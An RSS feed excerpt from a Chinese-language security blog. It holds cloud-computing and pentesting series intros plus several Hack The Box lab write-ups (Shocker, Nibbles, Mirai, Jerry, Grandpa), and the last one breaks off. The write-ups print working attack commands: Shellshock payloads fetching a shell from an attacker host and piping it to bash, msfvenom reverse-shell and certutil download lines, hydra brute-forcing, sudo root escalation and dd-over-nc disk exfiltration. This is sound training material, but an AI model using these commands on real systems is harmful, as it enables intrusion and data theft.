&lt;p&gt;雲端還會有一些靈活性相關的問題，假設我們在 Google Cloud 上使用了某些的雲端服務，如果未來想要移植到 Amazon 的 AWS；或是 Microsoft 的 Azure 上，通常都不見得會太容易；有時候我們使用了任何的一個雲端營運商的服務，很可能就會被對他產生依賴，未來也有可能會被養、套、殺，一切都要看業者的良心。&lt;/p&gt;
&lt;h2 id="總結"&gt;總結&lt;/h2&gt;
&lt;p&gt;雲端運算是由於網路速度變快，而開始發展出來的新概念，通常雲端都會由服務商代理我們管理機器，我們可能永遠都看不到自己在雲端上跑的機器實際上長什麼樣子。雲端最大的優點就是靈活性，我們可以快速的將服務部屬在世界各地；而雲端的缺點則是安全性、速度與可能對雲端服務商產生依賴性等問題。我們的生活已經逐漸的離不開雲端，了解一些基礎的雲端知識是非常實用的！&lt;/p&gt;
&lt;p&gt;今天的文章差不多就到這邊，預計明天會跟各位介紹幾個常見的雲端名詞 IaaS、PaaS 與 SaaS 等！&lt;/p&gt;</description></item><item><title>[Day2]What is Pentest (2021 鐵人賽 – PT)</title><link>http://blog.stevenyu.tw/2021/09/17/day2what-is-pentest/</link><pubDate>Fri, 17 Sep 2021 18:32:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/17/day2what-is-pentest/</guid><description>&lt;h2 id="滲透測試簡介"&gt;滲透測試簡介&lt;/h2&gt;
&lt;p&gt;今天來跟各位介紹一下，什麼是滲透測試。滲透測試(Penetration Test)，簡稱 Pentest (&lt;del&gt;筆測試&lt;/del&gt;)、PT，是公司、機構希望尋找以駭客的思維試圖入侵自己的系統，嘗試尋找出其設備之中的弱點。&lt;/p&gt;
&lt;p&gt;攻擊方可稱為紅隊，紅隊會嘗試透過各種方式，掃描與試圖入侵公司的設備。除了網頁之外，包含任何軟硬體都可以是滲透測試的目標。為什麼一間公司會需要做滲透測試呢？難道透過足夠高級的防火牆、防毒等防護設備不夠嗎？事實上，滲透測試主要針對的與處理的對象，是在嘗試找出機構內的軟硬體是否有設計上的缺陷，或年久失修等。&lt;/p&gt;
&lt;h2 id="滲透測試與弱點掃描"&gt;滲透測試與弱點掃描&lt;/h2&gt;
&lt;p&gt;許多人可能會聽過另外一個名詞：弱點掃描，弱點掃描可以是滲透測試的一環，但弱點掃描並不能完全地等於滲透測試。通常的弱點掃描都是透過現有的程式，針對系統做全自動化的掃瞄。相對於滲透測試而言，其成本較低，但效果也較差，因為比較無法針對特定的對象進行客製化的服務，而滲透測試則是可以針對指定的對象，給予最適合的需求與服務。&lt;/p&gt;
&lt;h2 id="滲透測試相關指引"&gt;滲透測試相關指引&lt;/h2&gt;
&lt;p&gt;滲透測試與各種資安技能一樣，都有許多相關的規範可以參考，但大多數的規範也都可以拿來參考使用，常見的規範與資源有以下幾項。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.owasp.org/index.php/OWASP_Testing_Project"&gt;OWASP Testing Guide&lt;/a&gt;OWSAS 全名 Open Web Application Security Project®，直接的翻譯為「開放網路安全計畫」，相信各位對 OWASP 應該都不陌生， OWASP 除了最著名的 Web Top 10 之外，還有非常多其他的資源可以取用。&lt;a href="https://www.isecom.org/OSSTMM.3.pdf"&gt;OSSTMM&lt;/a&gt;- OSSTMM 全名是 The Open Source Security Testing Methodology ，是 The Institute for Security and Open Methodologies (ISECOM) 提出的。&lt;a href="http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines"&gt;PTES&lt;/a&gt;- PETS 是 &lt;del&gt;寵物&lt;/del&gt; Penetration Testing Execution Standard。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="滲透測試與-ctf"&gt;滲透測試與 CTF&lt;/h2&gt;
&lt;p&gt;剛開始學習資安的新手，如果是以攻擊者為角度的資安，通常都會從 CTF 入手，CTF 面臨的通常都是以特定的漏洞包裝的題目，訓練大家有自行挖掘漏洞的能力。而通常簡易的滲透測試，除了挖掘漏洞之外，我們更常會運用現有的資源來進行攻擊與測試，例如已經公開 Exploit 的 CVE 漏洞等。&lt;/p&gt;
&lt;p&gt;在 CTF 中，通常比較不會出現一些枚舉，暴力破解等相關的技術；因為往往這對於純研究資安技術的領域而言是一件滿無聊的事情，只要字典檔夠充足、時間足夠的狀況下就可以暴力破解、搜尋出來。但是現實生活中的場域就非常不一樣了，現實生活中常常因為使用者的疏漏，使用各種的弱密碼；忘記刪除某些測試的檔案。這種以「人」為主的弱點，以技術的角度來說，通常都會比 CTF 簡單滿多，也都是 PT 需要進行考量的部分。&lt;/p&gt;
&lt;h2 id="滲透測試的流程"&gt;滲透測試的流程&lt;/h2&gt;
&lt;p&gt;在滲透測試開始之前，最最最最重要的事情是&lt;strong&gt;請於滲透測試前，取得對方的同意&lt;/strong&gt;，定義好滲透測試的目標，千萬要保護好自己，也要保護好客戶。&lt;/p&gt;</description></item><item><title>[Day1] Motivation (2021 鐵人賽 – PT)</title><link>http://blog.stevenyu.tw/2021/09/16/day1-motivation-2/</link><pubDate>Thu, 16 Sep 2021 18:36:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/16/day1-motivation-2/</guid><description>&lt;p&gt;真ㄉ有可能在 30 天內搞懂 Cloud ㄇ ?__?&lt;br&gt;
&lt;del&gt;不可能，好，大家掰掰&lt;/del&gt;&lt;br&gt;
哈囉大家好，打ㄍㄟ厚，我是目前就讀天大地大台科大的 &lt;a href="https://about.stevenyu.tw/"&gt;Steven Meow&lt;/a&gt;，這是我第一次參加鐵人賽，希望可以順利的持續30天，把文章給順利寫完！&lt;/p&gt;
&lt;p&gt;開賽的第一天，輕鬆一點的跟大家聊聊，為什麼我想要寫這個主題。在今年的三月多，我參加了由 Google 舉辦的 Cloud Student Sprint Project。我覺得這個計畫是一個滿硬的計畫 QQ ，花了三個月的時間，透過了許多的線上課程以及資源，學會了 Google Cloud 的基礎知識，並在計畫的最後報考了 Google Cloud Associate Cloud Engineer 的證照。很幸運的，我通過惹！！！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/fH3UBvt.png"&gt;&lt;/p&gt;
&lt;p&gt;本系列的文章將使用 Google Cloud 當作主要的介紹對象，提供給已經有一點點程式與作業系統基礎的讀者們，並預計以以下幾個內容開始做發想：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;雲端概述&lt;/li&gt;
&lt;li&gt;雲端 Project 與 IAM&lt;/li&gt;
&lt;li&gt;雲端運算&lt;/li&gt;
&lt;li&gt;雲端儲存&lt;/li&gt;
&lt;li&gt;雲端解決方案的選擇等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google Cloud 官方的 Document 與大多數的網頁資源皆以英文為主，雖然目前 Google Cloud 已經有了中文化的界面，不過常常有與多翻譯上的誤差，不方便理解 QQ ，因此本系列的文章預計在相關的專有名詞上主要會使用英文，而解說的部分則是中文。(我才……才不是為了怕不小心打出晶晶體而提早位自己辯護呢！ &amp;gt;&amp;lt;&lt;/p&gt;
&lt;p&gt;除了這篇內容之外，我也有報名 Security 組的比賽，題目是 「&lt;a href="https://ithelp.ithome.com.tw/2020-12th-ironman/articles/4002"&gt;我想學滲透測試喵喵喵喵！！！！&lt;/a&gt;」 內容主要會介紹常見的滲透測試流程與工具，會比較多實作的東東，也請大家多多支持與愛護！&lt;/p&gt;</description></item><item><title>[Day1] Motivation (2021 鐵人賽 - Cloud)</title><link>http://blog.stevenyu.tw/2021/09/16/day1-motivation/</link><pubDate>Thu, 16 Sep 2021 18:30:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/16/day1-motivation/</guid><description>&lt;p&gt;哈囉大家好，打ㄍㄟ厚，我是目前就讀天大地大台科大的 &lt;a href="https://about.stevenyu.tw/"&gt;Steven Meow&lt;/a&gt;，這是我第一次參加鐵人賽，希望可以順利的持續30天，把文章給順利寫完！&lt;/p&gt;
&lt;p&gt;如同簡介所述，現在的網路上的資安相關教學，大多數技術層面的都以 CTF 為主。我覺得 CTF 雖然有時候很好玩，但常常會出現一些非常刁鑽的題目，使得新手在接觸了不適合的題目後，就開始害怕資安；而這些 CTF 題目也時常會與現實世界脫節，打完了 CTF 後卻不知道可以運用在什麼地方。曾經有某軟體公司的從業人員跟我說，非常多學生時期在玩 CTF 的人，畢業後，卻跑去當碼農做軟體開發，因為在現實生活中不知道如何運用。我覺得這是一種滿可惜的事情 QQ。&lt;/p&gt;
&lt;p&gt;本系列的文章預計會介紹以滲透測試為主的內容，帶大家轉換 CTF 的思維，接觸現實世界中常出現的資安漏洞。在大多數的情景下，這些漏洞都會比 CTF 的題目簡單很多。最最重要的是轉換思維，善加的運用手邊現有的資源與工具！預計的文章架構如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;滲透測試介紹&lt;/li&gt;
&lt;li&gt;工具介紹&lt;/li&gt;
&lt;li&gt;練習平台介紹&lt;/li&gt;
&lt;li&gt;實戰介紹&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在前幾天的時間，會先與各位分享滲透測試的基礎觀念，以及相關使用的工具與環境；再來會介紹提供初學者使用的各種練習平台；接下來就會進入實戰演練，也就是打靶機的部分。我個人喜歡做中學的感覺，透過真正的實戰，並在過程中學習，我覺得效果會比起單純教科書上的紙上談兵好很多！希望透過這種方式可以對大家有幫助！&lt;/p&gt;
&lt;p&gt;除此之外，我也有報名 IT管理組的比賽，題目是「&lt;a href="https://ithelp.ithome.com.tw/2020-12th-ironman/articles/4197"&gt;真ㄉ有可能在 30 天內搞懂 Cloud ㄇ ?__?&lt;/a&gt;」內容主要會介紹 Google Cloud 相關的概念與使用方法，比起這邊的文章會更理論一點，也請大家多多支持與愛護！&lt;/p&gt;</description></item><item><title>Shocker (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/shocker-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 14:06:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/shocker-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;IP : 10.129.213.104&lt;/li&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/108"&gt;https://app.hackthebox.eu/machines/108&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/95872-4BeuvZQ.png"&gt;nmap- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2d8e8-zj7S9gt.png"&gt;觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/855c5-VW19KRW.png"&gt;通靈掃到目錄 &lt;code&gt;/cgi-bin/user.sh&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/37ca6-iniIUSg.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shell-shock"&gt;Shell shock&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在 User agent 增加&lt;code&gt;() { :;}; echo; /usr/bin/id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3708b-2iOQw9q.png"&gt;&lt;code&gt;User-Agent: () { :;}; echo; /usr/bin/wget 10.10.16.35:8000/s_HTB /tmp/s&lt;/code&gt;- 下載 shell&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b312a-5A2lKtC.png"&gt;執行 shell- &lt;code&gt;User-Agent: () { :;}; echo; /usr/bin/wget -O - 10.10.16.35:8000/s_HTB | /bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse-shell"&gt;Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;收 shell&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e7d4-Utt4lst.png"&gt;Spawn shell- &lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;Get user flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad2c5-M4rjd5b.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6e9aad0e2498bff702b570c2da380288&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;跑豌豆&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6bdc2-Gfbiuav.png"&gt;可以執行 perl- &lt;code&gt;sudo perl -e 'exec &amp;quot;/bin/sh&amp;quot;;'&lt;/code&gt;取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a3804-bFTiyzW.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e3e05cbd925c9e407215bb26e9b7e47d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Nibbles (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/nibbles-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 14:02:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/nibbles-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/121"&gt;https://app.hackthebox.eu/machines/121&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.214.27&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b725c-m4G08Jy.png"&gt;觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e75a-0jgF561.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5d1fd-RYElMsf.png"&gt;&lt;/li&gt;
&lt;li&gt;Apache&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/414a1-IQdi1Cj.png"&gt;找到隱藏目錄 &lt;code&gt;/nibbleblog/&lt;/code&gt;看起來是一個 CMS- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5168-KutA1td.png"&gt;搜尋 Exploit- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b2906-2Mdxscn.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來 4.0.3 版本有洞&lt;/li&gt;
&lt;li&gt;有帳密就可以傳東西&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py"&gt;https://github.com/TheRealHetfield/exploits/blob/master/nibbleBlog_fileUpload.py&lt;/a&gt;繼續掃目錄- http://10.129.214.27/nibbleblog/admin/&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/959a6-cNJwr3I.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/87ecb-azNBSX5.png"&gt;登入頁面&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/223fb-PiHxr0E.png"&gt;- install&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/be6fd-YejpqvW.png"&gt;- updateGoogle 到預設密碼- &lt;code&gt;admin / nibbles&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/648e5-lrj8MCV.png"&gt;&lt;/li&gt;
&lt;li&gt;這邊有點通靈 QQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;用 MSF&lt;code&gt;msf multi/http/nibbleblog_file_upload``spawn&lt;/code&gt; shell- &lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;取得 User flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/88ffb-qHqBpzs.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2ad8f-Ryh3MeA.png"&gt;可以執行 &lt;code&gt;monitor.sh&lt;/code&gt;直接用&lt;code&gt;/bin/bash&lt;/code&gt;蓋掉- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ed26f-I6ka7fH.png"&gt;sudo 執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2295-gTwWLBu.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 Root取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d780e-xYnSpZj.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4c0ebef2dfb32a8d33212e1a902f50f2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Mirai (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/mirai-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 14:01:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/mirai-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/64"&gt;https://app.hackthebox.eu/machines/64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.214.20&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://10.129.214.20/首頁是空ㄉ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1ac3d-GuiVLRm.png"&gt;Rustscan- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ef0f8-6UNUiSx.png"&gt;nmap- &lt;code&gt;nmap -A -p22,53,80,2000,32400,32469 10.129.214.20&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39c82-cUzhFGB.png"&gt;dirsearch 掃目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4068d-kH5A7QG.png"&gt;32400 Port 跑了一個 PLEX- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d64d8-HGGDcnR.png"&gt;Pi-Hole 在 &lt;code&gt;:80/admin&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7c43e-AtDs7wt.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/48442"&gt;https://www.exploit-db.com/exploits/48442&lt;/a&gt;需要密碼才能 RCEdnsmasq Exploit&lt;br&gt;
&lt;code&gt;https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆破密碼"&gt;爆破密碼&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hydra -l '' -P /opt/wordlists/rockyou.txt 10.129.214.20 http-post-form &amp;quot;/admin/index.php?login:pw=^PASS^:Forgot password&amp;quot;&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e05ae-JUZOiSX.png"&gt;&lt;/li&gt;
&lt;li&gt;跑了很久都沒有，應該不是 QQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;看到 Pi-Hole 又有 PLEX 影音伺服器猜他是樹梅派所以 pi 預設帳密- &lt;code&gt;pi / raspberry&lt;/code&gt;SSH- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cb8d8-rlacgEn.png"&gt;&lt;/li&gt;
&lt;li&gt;好無聊 = =取得 User Flag- &lt;code&gt;ff837707441b257a20e32199d7c8838d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4c960-yK4zBLq.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以直接變 root&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="數位鑑識"&gt;數位鑑識&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;取 root flag&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/96493-BjshpiS.png"&gt;&lt;/li&gt;
&lt;li&gt;搞事ㄛ = =確認外接裝置- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e92df-k6Wxr0n.png"&gt;到隨身碟裡找東西- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6e1cd-mkC7OFW.png"&gt;&lt;/li&gt;
&lt;li&gt;詹姆斯在搞ㄛ = =直接暴力解- &lt;code&gt;strings&lt;/code&gt; 硬碟&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f3fce-eObJQpt.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3d3e483143ff12ec505d026fa13e020b&lt;/code&gt;暴力解也可以傳回本地處理- 本地監聽 &lt;code&gt;nc -l 1234 &amp;gt; usbstick.dump&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;遠端用 dd 把資料丟出來&lt;code&gt;sudo dd if=/dev/sdb | nc -w3 10.10.16.35 1234&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試失敗的方法-testdisk"&gt;嘗試失敗的方法 (Testdisk)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 Testdisk 還原https://blog.gtwang.org/linux/testdisk-linux-recover-deleted-files/用 scp 傳過去- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/80452-V62F2Lt.png"&gt;解壓縮- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bab26-BBPoXx2.png"&gt;用 sudo 執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b0787-KnYrwIq.png"&gt;選定硬碟 sdb- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee5c3-oFWPTPS.png"&gt;預設沒有分割區- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3e941-Oxf8S78.png"&gt;選擇格式- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/41554-ZOryLMZ.png"&gt;找到刪除的 &lt;code&gt;root.txt&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e39ec-KDOh7aX.png"&gt;&lt;/li&gt;
&lt;li&gt;選到 &lt;code&gt;root.txt&lt;/code&gt; 按 C&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a07d6-FnV37tP.png"&gt;選存檔位置- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2a56c-Bamh5Pm.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6bd1e-Bz6yOmm.png"&gt;&lt;/li&gt;
&lt;li&gt;但這樣出來的檔案是空的 QQ&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Jerry (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/jerry-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:58:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/jerry-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/144"&gt;https://app.hackthebox.eu/machines/144&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP :10.129.1.110&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Portrustscan -a 10.129.1.110 -r 1-65535&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/df0cc-Eo7xo0g.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開8080&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="brute-force"&gt;Brute Force&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試 msf 爆破&lt;code&gt;auxiliary/scanner/http/tomcat_mgr_login&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現密碼是 &lt;code&gt;tomcat:s3cret&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7cd6-cxpZApC.png"&gt;Wordlist- /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt&lt;/li&gt;
&lt;li&gt;/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="進入-manager-app"&gt;進入 Manager APP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現不登入直接按 Manager App 就可以進後台ㄌ= =&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/31adc-NsGdRoj.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2cc2d-LQwHTzl.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/277ad-F8NaHMz.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-shell"&gt;Web shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;準備 jsp web shellhttps://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4cde3-nOjaVlZ.png"&gt;&lt;code&gt;jar -cvf cmd.war cmd.jsp&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7ed52-777lPwk.png"&gt;上傳 webshell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/76c14-6fmGHir.png"&gt;執行 webshell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/61a05-olnHhyd.png"&gt;&lt;/li&gt;
&lt;li&gt;發現本來就是 system 權限確認系統資料- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ea2ee-Ue6dTUE.png"&gt;&lt;/li&gt;
&lt;li&gt;64 bit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse-shell"&gt;Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;準備 Reverse shell&lt;code&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7877 -f exe &amp;gt; shell.exe&lt;/code&gt;下載 reverse shell- &lt;code&gt;certutil -urlcache -f http://10.10.16.35/shell.exe shell8787.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/91369-OI4Au01.png"&gt;執行 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/250b1-RXZuM8K.png"&gt;取得 Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8cc0b-lficF3v.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b9ea2-pSWHq2O.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Grandpa (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/15/grandpa-hack-the-box-writeup/</link><pubDate>Wed, 15 Sep 2021 13:54:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/15/grandpa-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/13"&gt;https://app.hackthebox.eu/machines/13&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.2.85&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee070-fIUBhTc.png"&gt;&lt;/li&gt;
&lt;li&gt;開 80 portnmap- 發現是 IIS6 可以用 CVE-2017-7269 RCE&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269"&gt;https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
